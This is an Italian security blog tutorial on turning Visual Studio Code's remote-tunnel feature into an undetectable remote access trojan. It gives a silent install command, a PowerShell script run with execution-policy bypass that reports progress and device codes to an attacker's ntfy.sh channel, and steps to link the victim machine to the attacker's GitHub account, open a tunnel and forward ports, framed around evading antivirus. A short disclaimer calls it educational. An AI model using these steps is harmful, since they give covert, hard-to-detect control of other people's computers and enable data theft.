Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Cerca

Weaponizing VSCode: Il Tuo Compagno ideale per Creare RAT Multipiattaforma

Redazione RHC : 8 Settembre 2023 07:37

A cura di Roberto Bindi

Un “FUD RAT” è un tipo di malware che è stato progettato per essere completamente indetectable da strumenti di sicurezza e antivirus e che fornisce funzionalità di controllo remoto su un dispositivo o un computer di destinazione. Il nome del malware è una combinazione dei seguenti due termini:

  1. FUD (Fully Undetectable): Questo acronimo indica che un software o un malware è completamente indetectable o “totalmente indistinguibile” dagli strumenti di sicurezza, come gli antivirus. In altre parole, un FUD malware è progettato per evitare la rilevazione e il riconoscimento da parte di software antivirus e altre soluzioni di sicurezza informatica.
  2. RAT (Remote Access Trojan): Un RAT è un tipo di malware progettato per consentire a un attaccante di accedere e controllare un computer o un dispositivo remoto senza il consenso o la conoscenza dell’utente. I RAT vengono spesso utilizzati per scopi malevoli, come il furto di dati, il monitoraggio delle attività dell’utente, l’esecuzione di comandi arbitrari e altro ancora.

Gli attaccanti spesso utilizzano FUD RAT per scopi malevoli, come il controllo di computer o dispositivi di vittime senza il loro consenso. È importante notare che l’uso di tali strumenti è illegale e viola la privacy e la sicurezza degli utenti.

In questo tutorial spiegheremo come utilizzare VSCode riportandoci agli albori di questi malware.

Nota1: questa funzionalità può essere utilizzata in modo dannoso, pertanto il tutorial riveste il solo scopo divulgativo e per consentire alle aziende di prendere le dovute accortezze per scongiurare tale minaccia;
Nota2: deve essere testato solo in sistemi di proprietà o macchine client
.

Weaponizing VSCode

Sei stanco di dover passare ore a sviluppare FUD RAT, solo per Sentinel One che lo segnala come positivo dopo un paio d’ore? Ti piacciono le GUI fantasiose e vuoi tornare ai primi anni ’90, quando i RAT avevano effettivamente GUI decenti?

Non temere! VSCode è qui per te!

Tutti conoscono VSCode e tutti ne hanno una sensazione molto positiva o molto negativa, ma oggi parleremo di come trasformarlo in un FUD e un RAT multipiattaforma davvero potente, completo di file manager con upload/download di file, shell, port forwarding e molto altro!

La cosa più ovvia e singolare di tutto questo è che, se fatto correttamente, gli unici IP mostrati nel Firewall della vittima sono di proprietà di Micro$oft.

Passaggio 0: di cosa abbiamo bisogno?

  • Tu e il computer di destinazione dovete avere accesso a Internet
  • Un account Github vuoto/non importante (la vittima potrebbe essere in grado di accedervi)

Passaggio 1: la distribuzione

Esistono diversi modi per implementarlo in un target, esamineremo principalmente l’implementazione di Windows ma vorrei sottolineare che tutte le tecniche descritte funzionano su Windows, Linux e OSx.

Vedremo due tecniche di distribuzione qui:

  • Un metodo canonico tramite le funzionalità di Windows;
  • un metodo più stealth tramite scripting.

Passaggio 1.A: distribuzione integrata

Installare vscode è semplice (come utente normale, non sono richiesti diritti di amministratore), basta eseguire:

winget install Microsoft.VisualStudioCode --accept-package-agreements --accept-source-agreements --silent --source winget

In questo modo, winget installerà automaticamente VSCode sotto: %localappdata%\Programs\Microsoft VS Code

Avvertenze: Installando l’app in questo modo, vscode apparirà nelle applicazioni installate come qualsiasi altra applicazione.

Passaggio 1.B: Scripting

Se non abbiamo accesso a Winget possiamo sempre scegliere di scaricarlo utilizzando PowerShell (di nuovo, non sono richiesti diritti di amministratore):

# powershell.exe -noprofile -executionpolicy bypass -file .\test.ps1
$bkname = "yourmagicalname"
$ProgressPreference = 'SilentlyContinue'
$ErrorActionPreference = 'SilentlyContinue'
 
function Ntfy {
    param (
        $message
    )
     
    $Request = @{
      Method = "POST"
      URI = "https://ntfy.sh/${bkname}"
      Body = $message
    }
    Invoke-RestMethod @Request | Out-Null
}
 
NTFY "Downloading vs.."
wget "https://code.visualstudio.com/sha/download?build=stable&os=win32-x64-archive" -OutFile "vs.zip"
NTFY "Downloading vc.."
wget "https://code.visualstudio.com/sha/download?build=stable&os=cli-win32-x64" -OutFile "vc.zip"
NTFY "Extracting vs.."
Remove-Item -Recurse -Force vs | Out-Null
Expand-Archive vs.zip -DestinationPath vs
NTFY "Extracting vc.."
Remove-Item -Recurse -Force vc | Out-Null
Expand-Archive vc.zip -DestinationPath vc
NTFY "Cleaning up.."
Remove-Item vs.zip
Remove-Item vc.zip
NTFY "Registering vs.."
.\vc\code.exe version use stable --install-dir ".\vs\" | Foreach-Object { NTFY "STDOUT> $_" }

Nel codice sopra possiamo notare che ntfy.sh viene utilizzato per tenerci aggiornati sull’avanzamento dell’installazione:

Questo sarà utile in seguito anche per recuperare il codice di abilitazione.

Passaggio 2: registrazione del client

Successivamente, dobbiamo collegare il nuovo dispositivo al nostro Github, in questo modo:

cd ${YOUR_VISUAL_STUDIO_CODE_CLI_PATH}
$bkname = "yourmagicalname"
code tunnel rename "${bkname}"

L’ultimo comando stamperà un codice dispositivo

Nota: se installato tramite Winget ( Passaggio 1.A ), il percorso della CLI è:

%localappdata%\Programs\Microsoft VS Code\bin\

Se installato manualmente ( Passaggio 1.B ), il percorso cli è.\vc\

Ora apri il browser e visita https://github.com/login/device, effettua il login (se necessario) e inserisci il codice del dispositivo recuperato sopra:

Ancora una volta, ricorda che stai condividendo MOLTE INFORMAZIONI:

Quindi assicurati di aver scelto l’account Github corretto e premi “Autorizza Visual-Studio Code”.

La console confermerà l’operazione e rilascerà il terminale.

Passaggio 3: avvio del tunnel

Avviare il tunnel è facile come eseguire:

.\code tunnel --accept-server-license-terms

Ora saremo in grado di raggiungere il sistema visitando https://vscode.dev/tunnel/yourmagicalname o collegandolo utilizzando l’estensione Remote Tunnel in vscode(è anche contenuta nel gruppo di estensioni Remote Development)

Al primo accesso la macchina scaricherà il server vscode appropriato e lo avvierà automaticamente. Dopo pochi secondi verremo accolti con un ambiente VSCode completamente funzionante tramite interfaccia web:

O client locale:

Passaggio 4: Port Forwarding

È possibile anche un port forwarding semplificato interagendo con la scheda “PORTS”:

Ma se abbiamo bisogno di qualcosa di più del semplice accesso ai servizi HTTP/HTTPS da remoto, possiamo utilizzare un altro strumento di madre Micro$oft:

Devtunnels (qui https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/get-started?tabs=windows )

Devtunnels è stato creato appositamente per interagire con i tunnel ed esporrà tutte le client ports localmente. Primo passo: accedi a github

devtunnel user login -g

Ora possiamo elencare i tunnel attivi:

devtunnel list

E finalmente possiamo inoltrare tutte le porte remote eseguendo:

devtunnel connect ${YOUR_TUNNEL_ID}

Redazione
La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.